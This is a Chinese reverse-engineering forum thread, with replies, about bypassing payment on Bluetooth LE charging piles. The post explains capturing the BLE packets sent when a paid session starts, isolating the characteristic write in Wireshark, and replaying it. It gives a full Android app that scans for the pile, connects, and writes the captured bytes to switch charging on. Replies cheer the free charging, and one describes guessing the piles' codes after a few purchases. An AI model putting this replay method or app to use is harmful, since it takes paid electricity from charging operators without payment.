吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 6879|回复: 180
收起左侧

[调试逆向] 扫码充电桩蓝牙ble通信分析

    [复制链接]
wshuo 发表于 2024-4-5 01:36
本帖最后由 wshuo 于 2024-4-5 01:36 编辑

前言

1.分析的前提: 抓包

我用的是colorOS系统(某p的系统),弄清这一步花费了我很长时间。
拨号按键输入:*#800#
打开反馈工具箱

通信模组-蓝牙-开始抓取

正常操作,扫描付款,启用充电桩
结束抓取

那么目前此时蓝牙数据包就已经包含 启用充电桩的关键命令了

数据包传输到电脑:

adb pull /sdcard/Android/data/com.oplus.logkit/files/Log .

抓取的日志都在Log下,每抓取一次,就会在Log下建立一个目录

而我们实际所需要分析的蓝牙日志文件只有一个:

Log/日期xxx@bluetooth/common/debuglogger/connsyslog/bthci/CsLog_xxxxx/xxx.cfa

将这个文件用wireshark 打开cfa文件,分析具体通信数据

2.开始分析

对于蓝牙ble通信只需要了解几个基本概念:
service uuid
Characteristic uuid
一个设备会包含多个service, 一个service会包含多个Characteristic
具体的通信过程就是对Characteristic进行读和写,而我们通过蓝牙通信改写了 充电桩的状态,所以毫无疑问,这里就是都某个Characteristic进行了写操作实现的

对协议进行排序(非按时间顺序进行排序)
找到关键的write command:
3.png
可以看到是对 Characteristic 进行了写入操作
不过这里需要具体区分写入了那些数据,因为这里wireshark没有单独识别要写入的数据:
4.png
红框内的数据,第一个表示是写入,第二个是characteristic hande,所有实际写入的数据是后面的所有部分

3. 用BLE Scanner写入查看效果

可以用 BLE Scanner 进行测试
5.png 6.png

4.编写hacking app

package com.example.myapplication;

import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.ActivityCompat;

import android.Manifest;
import android.annotation.SuppressLint;
import android.bluetooth.le.BluetoothLeScanner;
import android.bluetooth.le.ScanCallback;
import android.bluetooth.le.ScanResult;
import android.content.pm.PackageManager;
import android.os.Build;
import android.util.Log;
import android.widget.Button;
import android.os.Bundle;

import android.bluetooth.*;

import android.widget.Toast;

public class MainActivity extends AppCompatActivity {

    public final BluetoothGattCallback bluetoothGattCallback = new BluetoothGattCallback() {
        @SuppressLint("MissingPermission")
        @Override
        public void onConnectionStateChange(BluetoothGatt gatt, int status, int newState) {
            super.onConnectionStateChange(gatt, status, newState);
            if (status == BluetoothGatt.GATT_SUCCESS) {//发现服务成功
                gatt.discoverServices();
            }

        }
        @SuppressLint("MissingPermission")
        @Override
        public void onServicesDiscovered(BluetoothGatt gatt, int status) {
            super.onServicesDiscovered(gatt, status);
            if (status == BluetoothGatt.GATT_SUCCESS) {
                for (BluetoothGattService i : gatt.getServices()
                ) {
                    Log.e("service id", i.getUuid().toString());
                    // service uuid 4位
                    if (i.getUuid().toString().substring(4, 8).equals("xxxx")) {
                        for (BluetoothGattCharacteristic characteristic : i.getCharacteristics()
                        ) {
                            Log.e("char id", characteristic.getUuid().toString());
                            // characteristic xxxxx 为要写入的uuid
                            if (characteristic.getUuid().toString().equals("xxxxxxx") && !button_add.isEnabled()) {
                                changeButton();
                                mCharacteristic = characteristic;
                                mgatt = gatt;
                                break;
                            }
                        }
                        break;
                    }
                }

            }
        }
    };

    private final ScanCallback scancallback = new ScanCallback() {
        @SuppressLint("MissingPermission")
        @Override
        public void onScanResult(int callbackType, ScanResult result) {
            device = result.getDevice();
                        // xx:xx:xx:xx:xx:xx 模板mac地址
            if (device.getAddress().equals("xx:xx:xx:xx:xx:xx")) {
                bluetoothLeScanner.stopScan(this);
                Toast.makeText(getApplicationContext(), device.getAddress(), Toast.LENGTH_SHORT).show();
                BluetoothGatt bluetoothGatt = device.connectGatt(getApplicationContext(), true, bluetoothGattCallback, BluetoothDevice.TRANSPORT_LE);
            }
        }

        @Override
        public void onScanFailed(int errorCode) {
            Toast.makeText(getApplicationContext(), "扫描失败", Toast.LENGTH_SHORT).show();
        }
    };
    public Button button_close;
    public Button button_add;
    public BluetoothLeScanner bluetoothLeScanner;
    public BluetoothGattCharacteristic mCharacteristic;
    public BluetoothGatt mgatt;
    public BluetoothDevice device;

    public void changeButton() {
        runOnUiThread(new Runnable() {
            @Override
            public void run() {
                button_add.setEnabled(true);
            }
        });
    }
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.S) {
            ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.BLUETOOTH_CONNECT, Manifest.permission.BLUETOOTH_SCAN}, 2);
        }
        setContentView(R.layout.activity_main);
        button_close = findViewById(R.id.on_button);
        button_add = findViewById(R.id.off_button);
        button_add.setEnabled(false);
        button_add.setOnClickListener(view -> {
            byte[] value = {
                  //要写入的数据,bytes数组
            };
            mCharacteristic.setValue(value);
            if (ActivityCompat.checkSelfPermission(this, Manifest.permission.BLUETOOTH_CONNECT) != PackageManager.PERMISSION_GRANTED) {
            }
            mgatt.writeCharacteristic(mCharacteristic);
        });
        button_close.setOnClickListener(v -> {
            System.exit(0);
        });
        BluetoothManager mBluetoothManager = (BluetoothManager) getSystemService(getApplicationContext().BLUETOOTH_SERVICE);
        BluetoothAdapter mBluetoothAdapter = mBluetoothManager.getAdapter();
        bluetoothLeScanner = mBluetoothAdapter.getBluetoothLeScanner();
        bluetoothLeScanner.startScan(scancallback);
        }

}

免费评分

参与人数 31吾爱币 +34 热心值 +27 收起 理由
DUGUANG + 1 + 1 我很赞同!
KKKeria + 1 + 1 鼓励转贴优秀软件安全工具和文档!
kimfor168 + 1 我很赞同!
a21232 + 1 + 1 我很赞同!
w220913 + 1 + 1 我很赞同!
yayul + 1 + 1 我很赞同!
Marken888 + 1 + 1 用心讨论,共获提升!
huolicoder + 1 用心讨论,共获提升!
1412751940 + 1 + 1 我很赞同!
a7758521A + 1 + 1 牛逼了,,,,,软件也分享下
willJ + 7 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
ccv + 1 我很赞同!
cscscscs + 1 + 1 我很赞同!
melonsysu + 1 + 1 谢谢@Thanks!
wyr2024 + 1 + 1 热心回复!
siryiio + 1 + 1 谢谢@Thanks!
yikepinguo + 1 + 1 用心讨论,共获提升!
teacookie + 1 谢谢@Thanks!
lin1717 + 1 谢谢@Thanks!
ses + 1 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
xuanle + 1 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
xxxlsy + 1 + 1 谢谢@Thanks!
wanfon + 1 + 1 热心回复!
fs000x + 1 + 1 用心讨论,共获提升!
lrhdabb + 1 我很赞同!
mjst2311 + 1 + 1 我很赞同!
dingqh + 1 + 1 这样都行.早知道多读书了
jiafei5331 + 1 + 1 我很赞同!
ShayLuo + 1 热心回复!
安道尔的鱼 + 1 + 1 我很赞同!
syy + 1 + 1 跟大佬学习学习

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

骑猪踏白菜 发表于 2024-4-5 10:40
之前在某充电线干过后端,这种低级的实际上有内嵌一套密码库,使用后会随机复位,但都是有一定变化规律的,实际上用同一条线的情况下,只需要购买3-4次,密码基本就能猜出来了
sxtyys 发表于 2024-4-5 07:22
这样都行.早知道多读书了

免费评分

参与人数 1吾爱币 -2 收起 理由
fortytwo -2 请勿灌水,提高回帖质量是每位会员应尽的义务!

查看全部评分

pwp 发表于 2024-4-5 01:57
wuhu798 发表于 2024-4-5 02:11
我靠大佬 牛逼
Cc028k 发表于 2024-4-5 02:34
我勒个骚刚啊。牛逼 大佬666  膜拜一手,  真刑啊大佬 这样真的没事吗
YLBS 发表于 2024-4-5 03:37
大佬,厉害了,学到了,还能这样抓取
aq125930 发表于 2024-4-5 04:42
我靠大佬 牛逼
cjy2323 发表于 2024-4-5 06:21
这样都行.早知道多读书了
ltgb 发表于 2024-4-5 06:54
这么厉害的白嫖!
MMXX12138 发表于 2024-4-5 07:08
很厉害,终于知道知识就是力量
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-5-8 14:24

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表